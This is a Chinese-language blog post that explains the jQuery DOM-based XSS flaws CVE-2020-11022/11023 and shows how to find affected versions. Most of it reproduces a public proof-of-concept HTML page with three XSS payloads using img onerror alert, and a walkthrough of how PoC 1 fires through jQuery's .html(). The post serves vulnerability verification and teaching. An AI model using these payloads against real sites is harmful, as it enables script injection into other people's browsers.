赞
踩
在JQuery的诸多发行版本中,存在着DOM-based XSS(跨站脚本攻击的一种)漏洞,易被攻击者利用。漏洞原因在于过滤用户输入数据所使用的正则表达式存在缺陷,可能导致 location.hash 跨站漏洞。
最简单方式,通过火狐浏览器的retire.js插件,访问目标网站发现。
或者通过扫描器,找到JQuery版本信息
漏洞发现者提供了JavaScript XSS Demo POC,使用POC验证漏洞情况
- <!DOCTYPE html>
- <html>
- <head>
- <meta charset="utf-8">
- <title>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</title>
- <script src="http://xxxxxxxxxxxxxx/js/common/jquery-2.1.3.min.js"></script>
- </head>
- <body>
- <script>
- function test(n,jq){
- sanitizedHTML = document.getElementById('poc'+n).innerHTML;
- if(jq){
- $('#div').html(sanitizedHTML);
- }else{
- div.innerHTML=sanitizedHTML;
- }
- }
- </script>
- <h1>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</h1>
- <p>PoCs of XSS bugs fixed in <a href="//blog.jquery.com/2020/04/10/jquery-3-5-0-released/">jQuery 3.5.0</a>. You can find the details in my blog post: <a href="//mksben.l0.cm/2020/05/jquery3.5.0-xss.html">English</a> / <a href="//masatokinugawa.l0.cm/2020/05/jquery3.5.0-xss.html">日本語</a></p>
-
- <h2>PoC 1</h2>
- <button onclick="test(1)">Assign to innerHTML</button> <button onclick="test(1,true)">Append via .html()</button>
- <xmp id="poc1">
- <style><style /><img src=x onerror=alert(2)>
- </xmp>
-
- <h2>PoC 2 (Only jQuery 3.x affected)</h2>
- <button onclick="test(2)">Assign to innerHTML</button> <button onclick="test(2,true)">Append via .html()</button>
- <xmp id="poc2">
- <img alt="<x" title="/><img src=x onerror=alert("1st")>">
- </xmp>
-
- <h2>PoC 3</h2>
- <button onclick="test(3)">Assign to innerHTML</button> <button onclick="test(3,true)">Append via .html()</button>
- <xmp id="poc3">
- <option><style></option></select><img src=x onerror=alert("1st")></style>
- </xmp>
-
- <div id="div"></div>
- </body>
- </html>
点击POC1下的Append via .html,xss弹窗
F12查看源代码发现div下<style>标签被闭合,执行<img>中onerror的弹窗
其他就不做演示,可自行查看。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。